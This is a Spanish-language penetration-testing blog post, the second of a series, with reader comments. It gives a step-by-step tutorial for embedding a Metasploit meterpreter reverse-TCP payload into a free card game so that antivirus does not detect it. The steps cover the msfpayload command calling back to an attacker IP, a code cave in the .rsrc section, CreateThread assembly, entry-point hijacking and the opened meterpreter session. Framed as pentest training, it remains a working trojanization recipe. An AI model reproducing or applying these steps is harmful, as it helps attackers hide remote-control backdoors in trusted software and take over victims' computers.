domingo, 5 de junio de 2011

ALL YOUR AV STILL ARE BELONG TO US - Parte 2


Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

En el artículo anterior logramos demostrar que nuestro antivirus no es capaz de detectar el payload generado con el encoder defecto de metasploit (shikata_ga_nai). La primera solución descrita fue simplemente usar un ensamblador poco popular, y miramos como nuestro antivirus quedó completamente inutilizado. Sin embargo, no podemos cantar victoria todavía. Esta técnica de evasión una vez empezada a usarse rutinariamente durará a lo sumo 3 días funcionando hasta que los antivirus encuentren aún otro patrón para detectarla. Tal vez unas cuantas semanas porque mi artículo fue escrito en español y pues el undergroung hispanohablante no se compara con el anglosajón, pero el argumento es el mismo.

Ahora, sosteniendo que el payload en sí mismo no es el que está siendo detectado, lo único que necesitamos para hacer un poco más dificil su detección es simplemente embeber su funcionalidad en otro ejecutable. Me hubiera gustado utilizar algo como "stress-reducer-desktop-destroyer.exe" para demostrar esta técnica. Para los que no lo conocen les dejo un screenshot de este programita por demás adictivo:


Pero mi antivirus ya lo detectaba como sospechoso, asi que vence el propósito de mi demostración. En consecuencia, comencé a buscar otros candidatos gratuitos pero todos tenían unos terminos de servicio que prohiben su modificación binaria. Como aquí no condonamos ninguna actividad ilegal o inmoral, decidimos volver nuestra atención a nuestros buenos y fieles amigos del software libre. Nótese sin embargo, que el criminal informático común y corriente no tiene remordimiento ni restricción moral o ética alguna para no aplicar estas mismas técnicas a cualquier programa popular, ya sea un juego, el calc.exe de windows o hasta un programa ilegal de generación de claves. Es por esta razón que es tan importante llevar estos conocimientos al mundo de la seguridad informática y aprender de ellos. En todo caso, la aplicación premiada resulto ser "calculation-1.0.1". Este juego es alguna variación de solitario o algo parecido que tiene que ver con cartas/naipes/etc. Siento un poco de verguenza de ni siquiera haber averiguado de que trata este juego, pero no es primordial para nuestros propositos. Sin embargo, aquí les dejo un screenshot para compensar un poco la indiferencia:


Comenzamos investigando a calculation con cualquier debugger. Para efectos de esta demostración utilizamos el más simple de todos: ollydbg. El primer paso es encontrar un sitio apropiado para alojar nuestro payload. Sitios candidatos son obviamente la sección de código del programa, pero el espacio efectivamente utilizable de esta sección es usualmente muy pequeño. Otra sección posible es la sección de datos. Sin embargo, el uso de esta sección es un trabajo muy delicado pues hay que tener cuidado de no aplastar variables que se supone deberían estar inicializadas en 0 para el funcionamiento del programa. Nuestra mejor opción siempre será la sección de "resources" (.rsrc). Esta sección es normalmente utilizada para agregar los íconos e información miscelanea del programa. Adicionalmente, esta sección es, por lo general, la última sección del ejecutable. Esto significa que si no existe suficiente espacio en ella para nuestro código, siempre es posible agrandar un poco su tamaño en el encabezado PE y luego con un editor hexadecimal agregar 0's a nuestro archivo. Cualquiera sea el caso, hay que verificar que la sección que alojará nuestro código esté marcada con permisos de escritura pues nuestro payload estará reescribiendose a sí mismo. Si, así de bueno es shikata_ga_nai (lol). Para comenzar, abrimos nuestro ejecutable en olly y encontramos nuestra "caverna para código":


En este caso, al abrir calculation con olly y revisar las secciones disponibles nos encontramos con una larga secuencia de 0's en la sección .rsrc. Esta será nuestra "code cave". Apuntamos la primera dirección vacia: 0x0042442D pues la necesitaremos cuando hagamos la llamada a CreateThread. Como siempre, la generación del payload la hacemos con nuestras herramientas de metasploit:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.66 LPORT=80 R | msfencode -t raw | xxd -i - > payload.txt
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~#

Y simplemente lo acomodamos con un poco de "search and replace" para eliminar los ", 0x" de tal forma que queden solo los valores hexadecimales para pegarlos en nuestra caverna de código:

da de d9 74 24 f4 58 31 c9 bb 79 ba ... etc.


Olly marca en rojo los cambios hechos al ejecutable que todavia no han sido guardados en disco. En este punto es importante anotar la siguiente dirección vacía despues de nuestro payload: 0x0042456A. El siguiente paso requiere escribir un poquito de assembler. No es nada del otro mundo. Lo único que necesitamos es llamar a la función CreateThread de kernel32.dll con la dirección de nuestro payload. La idea es por supuesto, ejecutar nuestro payload y no interferir con la ejecución de calculation. En otras palabras, mientras nuestro objetivo de penetración esta jugando plácidamente con los naipes, nosotros estamos obteniendo control de su computadora. El código en assembler es simplemente algo como:

push 0x0042456A
push 0,0
push 0x0042442D
push 0,0
call CreateThread

En donde el valor del primer "push" es nuestra primera dirección vacía despues del payload. Esta dirección alojará un parametro de salida de CreateThread. La segunda dirección empujada es simplemente la posición de nuestro payload. El significado de los otros parametros se dejan como ejercicio al lector. En olly, insertamos estas instrucciones asi:


Ahora estamos listos para para modificar el flujo de ejecución del programa. Simplemente anotamos la dirección de nuestro primer push: 0x0042456E y vamos al origen del programa (shortcut *) para anotar las primeras instrucciones originales de calculation:

0040C4D0 > $ 55                 PUSH EBP
0040C4D1   . 8BEC               MOV EBP,ESP
0040C4D3   . 6A FF              PUSH -1
0040C4D5   . 68 F8844100        PUSH calction.004184F8

Algunas de estas instrucciones tendremos que copiarlas de regreso a calculation dentro de nuestra caverna de código. Esto es con la idea de reanudar su ejecución normal despues de crear nuestro thread con el payload. La modificación que es necesaria aquí es más que evidente. Simplemente tenemos que reescribir la primera instrucción con un jmp a la dirección de nuestro primer push: 0x0042456E. La modificación queda de esta forma:



Con esta modificación, lo primero que se hará al iniciar este ejecutable es saltar a nuestra caverna de código y empezar a empujar los parametros de CreateThread. Es evidente que nuestra modificación ha eliminado las primeras 3 instrucciones originales del ejecutable. Estas instrucciones hay que volverlas a colocar en nuestra caverna de código despues de llamar a CreateThread y luego hacer el salto de regreso a la dirección que no fue modificada: 0x0040C4D5. Esta modificación se ve como sigue:


Listo! Seleccionamos todo el código modificado, click derecho->copy to executable->Selection, y en la ventana de dump, de nuevo, click derecho->save to file, y guardamos nuestro ejecutable modificado con un nombre distinto. Es importante repetir este procedimiento para la modificación del punto de origen también despues de abrir nuestro ejecutable recien guardado.En este punto estamos casi listos. Sólo hace falta una última modificación. Como recordaremos, nuestro código se encuentra en la sección .rsrc. Como nuestro payload se modifica a sí mismo mientras se ejecuta, es importante que la sección .rsrc tenga permisos de escritura. Para tal fin, simplemente vamos al encabezado PE en olly, y modificamos el valor de "caracteristicas" de la sección resources de esta forma:



Como siempre de nuevo guardar nuestro cambios y listo!. Así es como queda nuestra modificación:

C:\Documents and Settings\winxp\Escritorio>dir calction.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

13/06/2002  17:48           128.000 calction.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>dir calction-post.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

05/06/2011  11:42           128.000 calction-post.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>

Los dos ejecutables tienen el mismo tamaño y si ejecutáramos el calculation modificado, no veriamos ninguna diferencia con respecto al original:



Sin embargo, de regreso en nuestra consola de metasploit:

[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 16 opened (192.168.137.66:80 -> 192.168.137.67:4543) at 2011-06-05 15:12:26 -0400

meterpreter>


Esta técnica es bastante efectiva, sin embargo, tiene algunos inconvenientes. Las llamadas a las funciones y saltos dentro del ejecutable que hemos hecho utilizan direcciones fijas. Esto significa que nuestra modificación del ejecutable sólo funcionará cuando calculation sea mapeado en memoria de la forma que fue mapeado en mi sistema de prueba. Esto quiere decir, distintas versiones de sistema operativo, o tecnologías como ASRL podrían hacer que nuestro calculation troyanizado dejara de funcionar. Adicionalmente, como nuestro payload se ejecuta dentro de un hilo de ejecución de calculation, cuando nuestro objetivo se canse de jugar a los naipes y cierre nuestro programa, la conexion de nuestro payload también morirá. Este último problema puede resolverse configurando un script de autoejecución en metasploit. Sin embargo, para solucionar el primer problema es necesario programar un poquito más de assembler y conjurar algo más de magia para hacer a nuestro troyano un programa completamente relocalizable. Este técnica será el tema de nuestro siguiente artículo de esta serie. Mantenerse en sintonía.

4 comentarios:

  1. Buenas! Buen articulo. Tengo una duda con esto ultimo:
    "Esto significa que nuestra modificación del ejecutable sólo funcionará cuando calculation sea mapeado en memoria de la forma que fue mapeado en mi sistema de prueba. Esto quiere decir, distintas versiones de sistema operativo, o tecnologías como ASRL podrían hacer que nuestro calculation troyanizado dejara de funcionar."
    Segun lo entiendo yo la sección .rsrc se mapeara siempre en la misma posición y esa posición esta dada en la tabla de secciones, la virtual address. Aun con ASLR o cambiando de versión de Windows esa sección siempre estará en esa posición, no?

    En teoria hay una excepción que es cuando la dirección donde se quiere cargar la sección ya esta ocupada y windows en este caso carga la seccion en otro lugar, y entnces entra en juego las relocalizaciones y tal, pero esto es en teoria, porque en la practica nunca he visto que windows cargue una sección en otra direccion que no sea la que aparece en la cabecera.

    O me equivoco?
    Un saludo!

    ResponderEliminar
  2. Hola Thor, muchas gracias por tu comentario. Pues no te equivocas del todo. En realidad, como dices, las secciones se mapean siempre en la misma posición *relativa* a la dirección base de la imagen, pero no es una dirección absoluta. Por lo tanto, la dirección absoluta puede cambiar cuando la dirección base preferida por la aplicación esté ocupada por alguna libreria de Windows. Esto como bien apuntas, no sucede a menudo en versiones "cercanas" de windows que no tienen ASLR para aplicaciones de terceros activada, pero pueden variar grandemente con cambios de versiones mayores, como por ejemplo de WinXP a Win7. Por otro lado, si tienes activado ASLR para aplicaciones de terceros, verás que tu aplicación se carga de muy distintas formas cada vez y en consecuencia, las secciones (entre ellas, la sección .rsrc) ocuparán distintas direcciones absolutas también. En todo caso, es cuestión de experimentarlo, pues como dice mi colega Leandro Leoncini, "uno nunca sabe las sorpresas que le depara el mundo Windows". Saludos!!

    ResponderEliminar
  3. y por que ademas de esto que denostratste en tus articulos , nos enseñas cual antivirus o suite de seguiridad atrapa este tipo de troyano , malwares , etc , o al reves la suite que sea menos mala . o algun programita tuyo que ayude en conjunto con los antivirus ....eso es un aporte tambien , gracias

    ResponderEliminar
  4. Estimado Anónimo, muchas gracias por tu comentario. Desafortunadamente, en mi humilde opinion, "enseñar cual antivirus o suite de seguridad es menos malo" es la peor forma de enfocar esta problemática. En general, soy enemigo acérrimo de las "balas de plata". No existen. Cualquier solución específica de seguridad que no es evaluada en el contexto en que opera puede ser insuficiente para resolver su problemática. En consecuencia, a las personas que no pueden vivir sin esas recomendaciones "positivas", siempre trato de inculcar nociones básicas que muy pocas veces son recibidas con alegría como "reducción de la superficie de ataque". La pregunta es: ¿Realmente necesitas usar esa última aplicación en tu celular que no hace mas que verse bonita? ¿Realmente tienes que hacer forward a ese email? ¿Realmente tienes que instalar la aplicación para sincronizar tu PC con tu celular? Si la respuesta a alguna de esas preguntas es no, acabas de resolver el problema de raíz. No las uses. Si alguna respuesta es sí, es el momento de llamar a un especialista en seguridad informática para que te enseñe como usar estas tecnologías de forma segura, en el contexto de tu ambiente y asumiendo los riesgos adecuados para el nivel de criticidad de la información que manejas. Si deseas profundizar más en esta corriente de pensamiento, te invito que leas el siguiente artículo de un excelente y muy respetado profesional de la seguridad informática a nivel mundial, Vinnie Lu: http://www.darkreading.com/vulnerability-management/blog/231902442/fighting-0day-with-fundamentals.html

    ResponderEliminar